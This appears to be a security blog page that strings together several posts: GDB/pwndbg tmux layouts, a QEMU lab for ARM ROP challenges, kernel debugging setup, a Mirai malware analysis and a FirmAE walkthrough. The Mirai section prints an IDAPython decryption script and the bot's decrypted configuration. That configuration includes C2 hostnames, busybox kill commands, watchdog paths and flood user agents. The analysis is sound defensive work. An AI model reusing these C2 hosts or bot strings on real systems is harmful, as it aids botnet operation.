OneShell

I fight for a brighter tomorrow

0%

一直以来都在使用tmux作为终端复用的工具,非常喜欢它可以自由切换、分割当前终端的功能。现在自己每次都是通过ssh登录到调试机,然后使用tmux创建一个session在后台,这样就算因为网络原因ssh断掉,当前终端正在进行的工作也不会断掉。
最基础的流程就是:

  • tmux new -s test:创建一个名为test的session
  • Ctrl + B,然后":水平切割当前的pane
  • Ctrl + B,然后%:垂直切割当前pane
    更多操作可以参考这个教程:Tmux 使用教程 - 阮一峰的网络日志

最近在看pwndbg的FEATURES.md时,发现其支持一个特性:将其section重定向到任意的tty。那么通过这个功能就可以实现将pwndbg的各个section重定向到终端由tmux切割出来的不同pane上,从而最大化利用当前的屏幕(也更好看)。

也有人在pwndbg的基础上开发出了另外一个插件splitmind,其官方库中给出的一个实现效果如下,在一个由tmux分割的终端上,让pwndbg调试信息区域按照使用人员最喜欢的方式排列、输出。
undifined

如上的实现配置文件gdb.init如下,其大概原理就是:在tmux的一个window中,会默认打开一个名为main的gdb调试pane,然后基于该main的上、下、左、右可以自由进行窗口的切割和划分,并将pwndbg相应的section重定向到切割出来的pane中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
source /home/user/pwndbg/gdbinit.py
set context-clear-screen on
set follow-fork-mode parent

source /home/user/splitmind/gdbinit.py
python
import splitmind
(splitmind.Mind()
.tell_splitter(show_titles=True)
.tell_splitter(set_title="Main")
.right(display="backtrace", size="25%")
.above(of="main", display="disasm", size="80%", banner="top")
.show("code", on="disasm", banner="none")
.right(cmd='tty; tail -f /dev/null', size="65%", clearing=False)
.tell_splitter(set_title='Input / Output')
.above(display="stack", size="75%")
.above(display="legend", size="25")
.show("regs", on="legend")
.below(of="backtrace", cmd="ipython", size="30%")
).build(nobanner=True)
end
set context-code-lines 30
set context-source-code-lines 30
set context-sections "regs args code disasm stack backtrace"

例如:.above(of="main", display="disasm", size="80%", banner="top"),就是对main进行切割,展示pwndbg的disasm区域,并且控制所占据的大小为80%。

pwndbg所支持的section如下,在gdb中由context-sections变量控制:

  • regs:寄存器
  • disasm:反汇编
  • code:源代码
  • ghidra:Ghidra相关(未使用过)
  • stack:栈
  • backtrace:调用栈
  • expressions:表达式跟踪,非常强大,可用于动态根据某个变量、内存、或者是自定义的值类型
    与之配合的还有一些其他的gdb调试环境变量,例如
  • context-code-lines:在disasm中展示的反汇编行数
  • context-source-code-lines:在code中展示的源代码行数
  • context-stack-lines:在stack中展示的栈行数
    等等,这些都可以在pwndbg/pwndbg/commands/context.py去查询含义以及默认值。了解section和控制section大小的环境变量可以让我们更好自定义属于自己的gdb界面。

在如上的基础上,我定制了自己的一个gdb配置,能达到的效果就是,在gdb启动的时候选择模式,并按照自己的习惯展示gdb调试信息:

  • s:源代码模式,可用于直接调试源码
  • d:汇编模式,用于调试反汇编
  • m:同时显示源码和汇编语句

s:源码模式,如下
undifined

d:汇编模式,如下
undifined

m:混合模式,如下
undifined

那么直接给出我的gdb配置文件,也给出了相应的注释,更多的配置还可以参考我个人的GitHub配置文件库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 加载pwndbg和gdbinit插件
source /home/utest/app/pwndbg/gdbinit.py
source /home/utest/app/splitmind/gdbinit.py
# 调试过程是否每次输入一条指令都清屏,我选择否这样可以在main区域看到程序输出
set context-clear-screen off
set debug-events off

# python执行区域
python
sections = "regs" # sections控制所要展示的所有区域,先初始化只有寄存器regs
mode = input("source/disasm/mixed mode:?(s/d/m)") or "d" # 读取调试模式

import splitmind # 导入splitmind库
spliter = splitmind.Mind() # 创建一个spliter
spliter.select("main").right(display="regs", size="50%")

legend_on = "code"
if mode == "d":
legend_on = "disasm"
sections += " disasm"
spliter.select("main").above(display="disasm", size="70%", banner="none")
gdb.execute("set context-code-lines 30")

elif mode == "s":
sections += " code"
spliter.select("main").above(display="code", size="70%", banner="none")
gdb.execute("set context-source-code-lines 30")

else:
sections += " disasm code"
spliter.select("main").above(display="code", size="70%")
spliter.select("code").below(display="disasm", size="40%")
gdb.execute("set context-code-lines 8")
gdb.execute("set context-source-code-lines 20")

sections += " args stack backtrace expressions"

spliter.show("legend", on=legend_on)
spliter.show("stack", on="regs")
spliter.show("backtrace", on="regs")
spliter.show("args", on="regs")
spliter.show("expressions", on="args")

# 自定义的一些gdb环境变量
gdb.execute("set context-stack-lines 10")
gdb.execute("set context-sections \"%s\"" % sections)

spliter.build()

end

该环境搭建步骤也适用于其他架构的rop练习环境搭建。
构建Linux内核为3.2.0,debian wheezy的ARMel
下载debain的wheezy文件系统、引导、操作系统内核。

1
2
3
https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile

使用如下的命令启动:网络配置是使用的NAT网络,在虚拟机中就可以连接到外网;除此之外,还对外映射了端口,将qemu虚拟机的6666、8888、22端口分别映射到宿主机的6666、8888、22端口。通过端口映射的方式就解决了qemu虚拟机连接外网和宿主机通信的问题,宿主机可以通过ssh root@127.0.0.1 -p 2222连接到qemu虚拟机中,在虚拟机中可以通过socat将题目映射出来,可以通过gdbserver将调试接口映射出来。

1
2
3
4
5
6
7
8
sudo qemu-system-arm \
-M versatilepb \
-kernel vmlinuz-3.2.0-4-versatile \
-initrd initrd.img-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1" \
-nographic \
-nic user,hostfwd=tcp:127.0.0.1:6666-:6666,hostfwd=tcp:127.0.0.1:8888-:8888,hostfwd=tcp:127.0.0.1:2222-:22

虚拟机的账号密码是root:root

环境搭建

该虚拟机默认的源现在已经不可用,经过我的搜寻,最终找到了一个阿里云的debian7(wheezy)目前还可用,可以用来更新、下载一些必要的软件。

1
deb http://mirrors.aliyun.com/debian-archive/debian/ wheezy main non-free contrib

在虚拟机里面安装一些必要的软件:

1
2
apt-get update
apt-get install vim gdb gdbserver tmux socat

将armrop的题目通过scp(随意各种方式)传送到qemu虚拟机中,我设置的如下:

1
2
3
4
5
6
7
8
9
10
root@debian-armel:~/armv5# tree -L 1
.
|-- badchars_armv5
|-- callme_armv5
|-- fluff_armv5
|-- pivot_armv5
|-- ret2csu_armv5
|-- ret2win_armv5
|-- split_armv5
`-- write4_armv5

例如我现在要做ret2win_armv5这道题目,那么就先进入题目目录,使用socat将题目设置到8888端口,如果要调试的话,就使用gdbserver attach到进程,并将调试端口设置到6666。如果终端不够用的话,就ssh到qemu虚拟机中新开终端。

  1. 在qemu虚拟机中使用socat转发题目的io到8888端口:
    1
    socat tcp-l:8888,fork exec:./ret2win_armv5
  2. 在宿主机使用nc获取题目:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ nc 127.0.0.1 8888
    ret2win by ROP Emporium
    ARMv5

    For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
    What could possibly go wrong?
    You there, may I have your input please? And don't worry about null bytes, we're using read()!

    >
  3. 如果要调试,使用gdbserver attach到进程。如果是使用pwntools写题目的时候进行调试,remote连接到题目后先pause()暂停一下。
    1
    2
    3
    4
    5
    root@debian-armel:~/armv5# pidof ret2win_armv5
    3710
    root@debian-armel:~/armv5# gdbserver :6666 --attach 3710
    Attached; pid = 3710
    Listening on port 6666
  4. 在宿主机就可以联动gdb-multiarch和pwntools进行调试了
    1
    target remote :6666
    undifined

小结

将qemu虚拟机使用端口映射的方式来启动真的特别方便,主要就解决了两个问题:

  1. qemu虚拟机连接到外网
  2. qemu虚拟机需要和宿主机进行通信
    适用场景就是这样的IoT题目搭建,将题目通过一个端口(8888)映射出去,调试接口通过一个端口(6666)映射出去,如果需要使用更多的终端,可以通过ssh连接到虚拟机中。
    真滴方便。

编译系统内核

首先需要下载Linux的内核源码,几个常用的内核源码下载途径如下:

  1. GitHub - torvalds/linux: Linux kernel source tree:适合git commit找补丁和漏洞
  2. Index of /pub/linux/kernel/:下载源码的压缩包
  3. sudo apt-get source linux-image-$(uname -r):下载当前发行版的内核,但是版本往往不全
  4. Ubuntu KernelGitGuide:对于Ubuntu可以获取到发行版的源码,自行进行编译

此次就以编译Linux 5.15.1为例,首先下载并解压源码:

1
2
3
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.15.1.tar.gz
tar -xvf linux-5.15.1.tar.gz
cd linux-5.15.1/

然后是对内核的编译选项进行设置,常用的基本流程如下:

1
2
3
make **_deconfig
make munuconfig
make
  1. make **_deconfig
    **_deconfig是用来指定此次编译使用的默认配置文件,该配置文件会从指定的**_dedonfig文件中加载配置,并保存到源码目录的.config文件中。

在嵌入式领域,例如需要为ARM架构指定适配特定芯片的Linux内核,配置命令如下:

1
make ARCH=ARM imx_v6_v7_defconfig

在此处,我们的目的是需要编译一个x86_64架构的内核,因此执行命令如下:

1
make x86_64_defconfig
  1. make menuconfig
    undifined
    一般来说,调试内核需要关闭系统的地址随机化、开启调试信息等,除此之外,还需要根据调试的目的来选择需要编译的模块,例如在调试netfilter的时候,就需要开启一些NF_TABLES等相关的配置。
    如下是关闭地址随机化和开启调试信息的步骤:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    Processor type and features  --->
    -*- Build a relocatable kernel
    [ ] Randomize the address of the kernel image (KASLR)

    Kernel hacking --->
    Compile-time checks and compiler options --->
    [*] Compile the kernel with debug info
    [*] Generate BTF typeinfo
    [*] Provide GDB scripts for kernel debugging

在menu界面,可以通过输入/来搜索需要开启的内核特性,这比一个个去手动找方便。
undifined

设置完毕后,可以主动保存或者退出提示保存

  1. make
    开始进行编译,可以根据CPU的核数开启多线程编译,提高速度,例如make -j8
    编译完成后,和调试相关的两个重要文件的路径和作用如下:
  • vmlinux:当前目录,原始的内核文件,未压缩,可以用于gdb调试时加载
  • bzImage:./arch/x86_64/boot/bzImage,压缩后的内核,真正运行的内核

制作文件系统

要启动一个能正常运行的Linux,除了内核之外,还需要一个根文件系统。文件系统的制作可以采用手动的方式,也可以采用自动化的脚本部署。

手动制作一个文件系统,基本的步骤就是:

  1. 下载某些发行版的基本根文件系统,例如Ubuntu的根文件系统
  2. 制作磁盘镜像,可以先使用dd创建一个磁盘镜像,然后使用mkfs来为磁盘镜像进行分区和格式化
  3. 挂载磁盘镜像,并将根文件系统装载到磁盘镜像中。
    手动创建根文件系统磁盘镜像就不再更多展开说,后续会单独出一篇文章来进行介绍。

自动化的脚本部署则是推荐一个内核模糊测试工具syzkaller中的脚本create-image.sh,其工作的基本原理是通过工具debootstrap根据参数创建一个Debian的根文件系统磁盘镜像,大概的工作流程如下:

  1. 设置参数,例如Debian的发行版本、系统架构、需要安装的组件
  2. 下载Debian的基本根文件系统,并使用qemu-user-static和chroot到根文件系统目录
  3. apt-get安装相关的组件,然后打包到磁盘镜像中
1
2
3
4
sudo apt-get install debootstrap
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
chmod +x create-image.sh
./create-image.sh

undifined

例如,./create-image.sh -d bullseye制作一个Debian的bullseye发行版根文件系统镜像。
undifined
undifined

qemu+gdb连调

运行所需要的内核和文件系统镜像都制作好了,基本如下:
undifined
就可以使用如下的QEMU命令来运行并调试内核:

1
2
3
4
5
6
7
8
9
sudo qemu-system-x86_64 \
-m 1G \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=seria net.ifnames=0" \
-drive file=./bullseye.img,format=raw \
-nographic \
-net nic,model=e1000 \
-S \
-s
  • m:指定运行内存
  • kernel:指定内核
  • append:指定console口、磁盘、串口等
  • drive:磁盘
  • nographic:非图形界面,也就是命令行界面
  • net:e1000网卡
  • S:等待gdb的命令后再运行
  • s:开启本地调试端口1234

随后,使用gdb去连接和调试:

1
2
3
4
file ./vmlinux
target remote :1234
b start_kernel
c

可以看到,gdb成功断在了函数start_kernel
undifined

参考链接

此次分析的样本同样是一个发生在真实应急场景中的mirai样本,与上一个分析的样本不同,该样本去掉了符号,如果直接硬看还是很费力的。

1
2
$ file ninja.mip.virus
ninja.mip.virus: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

在分析前,同样需要明确分析的目的:提取样本中的配置信息,弱口令字典等。配置信息中通常需要重点关注CNC地址,如果有设备或者仿真执行,也可以通过抓包的方式获取,弱口令字典需要看样本中是否包含了爆破模块。在此次的样本中,并没有弱口令扫描的模块,因此把重心放在了配置信息提取上。

样本分析思路

一般情况下,mirai都是使用了xor的方式来对配置信息进行加解密。在mirai源码中,配置信息在函数table_init中通过调用函数add_entry将硬编码且加密的数据逐条添加到table结构体中。在bot需要使用到相应的数据时,通过函数table_unlock_val将对应条目的table解密,等到使用完毕后,再调用table_lock_val重新将table中的条目进行加密。具体的代码实现逻辑可以参考上一个分析带符号的mirai文章,以及之前的mirai bot源码分析。

那么可以总结出如下的信息:

  1. 样本中可得配置信息:加密后的配置信息是以硬编码的形式在样本中。
  2. 加解密函数可定位:样本通常使用xor的方式进行加密,在样本中搜索对应架构的xor指令可以定位加解密函数(理论上还可以采用其他的加解密方式)。
  3. 加解密函数使用特征:样本在使用配置信息前后,会依次调用解密函数table_unlock_val和加密函数table_lock_val

因此,对该样本进行分析的思路就是:

  1. 寻找样本中所有使用到xor的函数,判断是否涉及到加解密操作。
  2. 寻找到加解密函数后,根据在样本中的交叉引用,确定加解密函数。
  3. 定位样本配置信息初始化的函数table_init
  4. 定位样本中的 add_entry函数获取到加密后的配置信息,并根据解密函数逻辑进行解密。

定位和确认加解密函数

在IDA中搜索所有的MIPS xor指令,通过简单分析,得到如下的三个函数可能是加解密相关函数:

  • sub_409DCB
  • sub_40A6F8
  • sub_40A7DC
    其中sub_40A6F8和sub_40A7DC的逻辑基本相同,且xor操作都使用到了敏感数据:0xDEADBEEF,因此可以判断这两个函数极大可能是加解密函数。
    三个函数的反编译结果如下:
    sub_409DCB
    undifined
    sub_40A6F8
    undifined
    sub_40A7DC
    undifined

在文章开头也提到过,mirai使用table中的结构体有一个特征:那就是先使用函数table_unlock_val将对应table_id的条目解密,使用完毕后再使用函数table_lock_val加密。因此,可以通过查看如上三个函数的交叉引用,查看是否有相似的匹配特征。最终确定了:

  • sub_40A7DC = table_unlock_val
  • sub_40A6F8 = table_lock_val
    如下是一个典型的mirai bot使用数据的特征:
    undifined

定位配置信息初始化函数table_init

mirai bot的配置信息例如C2等在函数table_init中进行初始化,攻击配置例如弱口令字典是在函数attack_init中进行初始化。在此处关注的是对配置信息的提取。

在无符号样本中寻找table_init的思路是:

  1. 根据函数table_lock_val或者其他函数寻找到全局变量table
  2. 根据全局变量table的交叉引用,来寻找函数table_init

在函数table_lock_val中,传入配置table_id,来对table进行数据的操作:
undifined

继续查看table的交叉引用,最后定位到table_init。在table_init中会多次将硬编码的配置信息存入到table中,因此特征很明显。如下是交叉引用(已经恢复部分符号)以及table_init中进行初始化配置:
undifined
undifined

解密脚本编写

那么编写解密函数的思路也很简单了:

  1. 在函数table_init中分析util_memcpy(手动恢复的符号)使用到的硬编码加密数据和数据长度。
  2. 根据函数table_unlock_val的解密逻辑对数据进行解密

table_unlock_val的反编译逻辑如下,实则非常简单,就是使用了mirai的默认加密算法:数据的每个字节逐个和0xdeadbeef进行异或。
undifined
解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import idc
import idautils

ea = idc.get_name_ea_simple("util_memcpy")

# table_init范围内
start = 0x0040A8C0
end = 0x0040BD0C

# 根据MIPS传参规则,分析util_memcpy中的待解密数据地址
def find_args(addr):
each_op = addr + 4
tmp_args = {
"A1" : 0,
"A2" : 0
}
while each_op >= start:
op_disasm = idc.GetDisasm(each_op).upper()
if "ADDIU" in op_disasm and "A1" in op_disasm:
tmp_args["A1"] = each_op
if "LI" in op_disasm and "A2" in op_disasm:
tmp_args["A2"] = each_op
if tmp_args["A1"] != 0 and tmp_args["A2"] != 0:
# print(hex(tmp_args["A1"]), hex(tmp_args["A2"]))
return tmp_args
each_op = idc.prev_head(each_op)
return None

# 根据地址获取待解密数据
def get_op_string(addr):
str_addr_list = list(idautils.DataRefsFrom(addr))
# print(str_addr_list)
data = []
start = str_addr_list[0]
i = 0
while True:
byte = idc.get_wide_byte(start + i)
if byte == 0:
break
data.append(byte)
i += 1
# print("0x%x" % start, data)
return data, i

# 读取硬编码的table_keys
def init_key():
addr = 0x00451034
key = []
i = 0
while True:
byte = idc.get_wide_byte(addr + i)
if byte == 0:
break
key.append(byte)
i += 1
return key, i

# 真正的解密函数
def encrypt(data, key):
key1 = key[0]
key2 = key[1]
key3 = key[2]
key4 = key[3]
for j in range(0, len(data)):
data[j] ^= key1
data[j] ^= key2
data[j] ^= key3
data[j] ^= key4
result = ""
for each in data:
result += chr(each)
print(result)

def main():
key, key_len = init_key()
# 获取util_memcpy的交叉引用
for addr in idautils.CodeRefsTo(ea, 0):
if start <= addr < end:
if "JA" in idc.GetDisasm(addr).upper():
args = find_args(addr)
arg1, arg_len = get_op_string(args["A1"])
# print(arg1, arg_len)
encrypt(arg1, key)

main()

解密结果如下(不打码),可以看到其中的C2:king.badplayer.netsc.badplayer.net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
king.badplayer.net
ï2
sc.badplayer.net
ï3
lzrd cock fest
/proc/
/exe
(deleted)
/fd
.anime
/status
dvrHelper
NiGGeR69xd
1337SoraLOADER
NiGGeRd0nks1337
X19I239124UIU
IuYgujeIqn
14Fa
ccAD
/proc/net/route
/proc/cpuinfo
BOGOMIPS
/etc/rc.d/rc.local
g1abc4dmo35hnp2lie0kjf
/dev/watchdog
/dev/misc/watchdog
/dev/FTWDT101_watchdog
/dev/netslink/
PRIVMSG
GETLOCALIP
KILLATTK
Eats8
v[0v
93OfjHZ2z
GhostWuzHere666
WsGA4@F6F
ACDB
AbAd
iaGv
shell
enable
system
sh
/bin/busybox LZRD
LZRD: applet not found
ncorrect
/bin/busybox ps
/bin/busybox kill -9
TSource Engine Query
/etc/resolv.conf
nameserver
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Content-Type: application/x-www-form-urlencoded
setCookie('
refresh:
location:
set-cookie:
content-length:
transfer-encoding:
chunked
keep-alive
connection:
server: dosarrest
server: cloudflare-nginx
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94
/dev/watchdog
/dev/misc/watchdog
assword
ogin
enter
dkaowjfirhiad1j3edjkai

最近有一个需求,如何对FirmAE仿真成功的设备中的固件进行修改,本质就是在仿真前修改固件的文件系统。背景是这样的,我在调试一个httpd的时候,它会创建大量的进程,这些进程手动进行kill的话太繁琐,使用gdbserver对其进行attach主进程,其他的进程也会影响主进程的调试,因此就想,能不能将httpd的自动启动关停,通过gdbserver手动启动程序并调试,这样进程状态比较可控。

这就需要从源码上分析一下FirmAE是如何从设备固件中提取固件、进行patch、使用qemu仿真的。
分析过程主要是从run.sh入手,主要涉及到的源码文件有:

  • scripts/extractor.py:提取固件中的文件系统和操作系统内核。
  • scripts/makeImage.sh:创建qemu磁盘镜像,将固件文件系统进行修改,添加相关的工具、文件目录、设备等并写入到镜像中。
  • scripts/inferFile.sh:分析固件文件系统的启动项,分析文件系统中的http server。
  • scripts/fixImage.sh:修改文件系统,添加必要的目录,添加相关工具,根据文件系统中的应用程序创建相应的目录。

FirmAE创建qemu磁盘镜像的大概思路就是:

  1. 先从固件中提取文件系统和操作系统内核。
  2. 创建一个磁盘镜像,将其挂载,并将提取出来的文件系统复制到磁盘镜像中。
  3. 对挂载镜像的目录进行修改,分析文件系统启动项、http server等,并根据目标架构添加响应的工具和脚本到文件系统中。
  4. 写入磁盘镜像并取消挂载。

固件文件系统提取

分析run.sh,FirmAE会使用scripts/extractor.py解压出来固件中的文件系统和操作系统内核,将文件系统打包成tar.gz压缩包形式。extractor.py的主要原理是调用binwalk的API,根据UNIX目录规范对binwalk解压的目录进行搜索,找到其中的文件系统并压缩保存到images文件夹。

进一步分析qemu的镜像制作过程,主要逻辑在scripts/makeImage.sh中,因此随后的分析都是以makeImages.sh为主要代码进行分析,如果被这些代码调用绕糊涂了也可以不管具体的代码文件,看关键命令和关键流程的实现。

1
./scripts/makeImage.sh $IID $ARCH $FILENAME \

创建磁盘镜像

首先将压缩的文件系统从原来的"${TARBALL_DIR}/${IID}.tar.gz"复制到"${WORK_DIR}/${IID}.tar.gz",也就是从images目录复制到scratch目录中。复制后的文件系统压缩包使用完毕后,会被删除。原始的固件文件系统压缩包有且仅有一份在images目录中,如果要对FirmAE进行二次开发,则可以直接在该目录中去获取文件系统,就不用单独再用binwalk对固件进行解压。

1
cp "${TARBALL_DIR}/${IID}.tar.gz" "${WORK_DIR}/${IID}.tar.gz"

使用qemu-img创建磁盘镜像,磁盘镜像是存放在scratch目录下对应的固件文件夹(数字序号)中的image.raw。FirmAE管理固件的方式就是在images目录下存放固件中提取出来的文件系统和操作系统内核,在scratch目录下以数字递增的序号表示可被仿真的设备相关文件。
如下是从固件中提取的操作系统内核和固件文件系统压缩包:

1
2
3
4
5
6
7
8
9
10
$ tree -L 1 images
images
├── 1.kernel
├── 1.tar.gz
├── 2.kernel
├── 2.tar.gz
├── 3.kernel
└── 3.tar.gz

0 directories, 6 files

如下是scratch目录,包含了仿真过程中的一些标志文件,仿真状态例如web服务是否可达、是否可ping等。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ tree -L 2 scratch
scratch
├── 1
│   ├── architecture
│   ├── brand
│   ├── current_init
│   ├── emulation.log
│   ├── fileList
│   ├── fileType
│   ├── image
│   ├── image.raw
│   ├── init
......

回归到镜像创建的过程中:

1
2
qemu-img create -f raw "${IMAGE}" 1G
chmod a+rw "${IMAGE}"

给磁盘镜像创建分区,完整示例命令如/sbin/fdisk /home/utest/app/FirmAE/scratch/3/image.raw,根据echo设置的输入,该命令大致的流程是:

  • o:创建一个空白的DOS分区表
  • n\np\n1:添加一个主分区primary,分区的数量设置为1
  • \n\n:创建第一个大小为2MB的扇区sector,剩下的作为第二个扇区。
  • w:将分区表写入到磁盘中
    1
    echo -e "o\nn\np\n1\n\n\nw" | /sbin/fdisk "${IMAGE}"
    使用fdisk查看磁盘镜像的属性如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Device     Boot Start     End Sectors  Size Id Type
    image.raw1 2048 2097151 2095104 1023M 83 Linux

    Command (m for help): Disk image.raw: 1 GiB, 1073741824 bytes, 2097152 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: dos
    Disk identifier: 0x88272c5c

    Device Boot Start End Sectors Size Id Type
    image.raw 2048 2097151 2095104 1023M 83 Linux

挂载磁盘镜像

然后就是调用firmae.config中的add_partition函数,将该磁盘镜像进行挂载,并返回挂载后的设备目录。如下,函数的主要功能就是将之前创建的镜像文件,使用losetup命令进行挂载,然后通过遍历、比较losetup命令的结果,来获取磁盘镜像挂载的目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
add_partition () {
local IFS=$'\n'
local IMAGE_PATH
local DEV_PATH=""
local FOUND=false

losetup -Pf ${1}
while (! ${FOUND})
do
sleep 1
for LINE in `losetup`
do
IMAGE_PATH=`echo ${LINE} | awk '{print $6}'`
if [ "${IMAGE_PATH}" = "${1}" ]; then
DEV_PATH=`echo ${LINE} | awk '{print $1}'`p1
if [ -e ${DEV_PATH} ]; then
FOUND=true
fi
fi
done
done

while (! ls -al ${DEV_PATH} | grep -q "disk")
do
sleep 1
done
echo ${DEV_PATH}
}

如下是使用losetup命令显示的结果,此时是仿真结束后的结果,所以不包含磁盘镜像的挂载目录,仅供参考:

1
2
3
4
5
6
7
8
9
10
11
$ losetup
NAME SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE DIO LOG-SEC
/dev/loop1 0 0 1 1 /var/lib/snapd/snaps/bare_5.snap 0 512
/dev/loop8 0 0 1 1 /var/lib/snapd/snaps/gnome-3-38-2004_115.snap 0 512
/dev/loop6 0 0 1 1 /var/lib/snapd/snaps/gtk-common-themes_1535.snap 0 512
/dev/loop4 0 0 1 1 /var/lib/snapd/snaps/gnome-3-38-2004_119.snap 0 512
/dev/loop2 0 0 1 1 /var/lib/snapd/snaps/core20_1778.snap 0 512
/dev/loop0 0 0 1 1 /var/lib/snapd/snaps/core20_1738.snap 0 512
/dev/loop7 0 0 1 1 /var/lib/snapd/snaps/snap-store_638.snap 0 512
/dev/loop5 0 0 1 1 /var/lib/snapd/snaps/snap-store_599.snap 0 512
/dev/loop3 0 0 1 1 /var/lib/snapd/snaps/snapd_17883.snap 0 512

如下是真实仿真过程中,命令的执行结果。可以看到最终返回了磁盘镜像的挂载目录/dev/loop9p1

1
2
3
4
5
6
7
8
9
10
++ IMAGE_PATH=/home/utest/app/FirmAE/scratch/3/image.raw
++ '[' /home/utest/app/FirmAE/scratch/3/image.raw = /home/utest/app/FirmAE/scratch/3/image.raw ']'
+++ echo '/dev/loop9 0 0 0 0 /home/utest/app/FirmAE/scratch/3/image.raw 0 512'
+++ awk '{print $1}'
++ DEV_PATH=/dev/loop9p1
++ '[' -e /dev/loop9p1 ']'
++ FOUND=true
......
++ echo /dev/loop9p1
+ DEVICE=/dev/loop9p1

创建文件系统

使用mkfs.ext2在镜像挂载目录创建ext2文件系统(实际上就是在磁盘镜像上创建文件系统)

1
mkfs.ext2 "${DEVICE}"

scratch的固件编号目录中创建一个image文件夹,例如mkdir /home/utest/app/FirmAE/scratch/3/image/,然后将该文件夹也挂载到之前镜像的挂载目录上,例如mount /dev/loop9p1 /home/utest/app/FirmAE/scratch/3/image/

1
2
3
4
5
6
7
8
9
echo "----Making QEMU Image Mountpoint----"
if [ ! -e "${IMAGE_DIR}" ]; then
mkdir "${IMAGE_DIR}"
chown "${USER}" "${IMAGE_DIR}"
fi

echo "----Mounting QEMU Image Partition----"
sync
mount "${DEVICE}" "${IMAGE_DIR}"

解压从固件中提取的文件系统。原本提取出来的被压缩的文件系统在FirmAE的根目录images中,先前是将压缩文件系统复制到了固件目录scratch/固件编号/中,因此解压完毕之后,需要将固件工作目录中的压缩文件系统删除。

1
2
3
echo "----Extracting Filesystem Tarball----"
tar -xf "${WORK_DIR}/$IID.tar.gz" -C "${IMAGE_DIR}"
rm "${WORK_DIR}/${IID}.tar.gz"

关键的执行命令如下:

1
2
mount /dev/loop9p1 /home/utest/app/FirmAE/scratch/3/image/
tar -xf /home/utest/app/FirmAE/scratch/3/3.tar.gz -C /home/utest/app/FirmAE/scratch/3/image/

至此,将相当于将固件中提取出来的文件系统给复制到了磁盘镜像中。

修改文件系统

在磁盘镜像中创建firmadyne相关的目录。FirmAE是在FirmAdyne的基础上进行二次开发的,因此沿用了后者的一些设计逻辑。如果是使用debug模式启动的FirmAE,可以进行模拟器的shell中,查看firmadyne中实际上包含了许多有用的工具和脚本,例如gdbservergdbstrace和完整版的busybox等。

1
2
3
mkdir "${IMAGE_DIR}/firmadyne/"
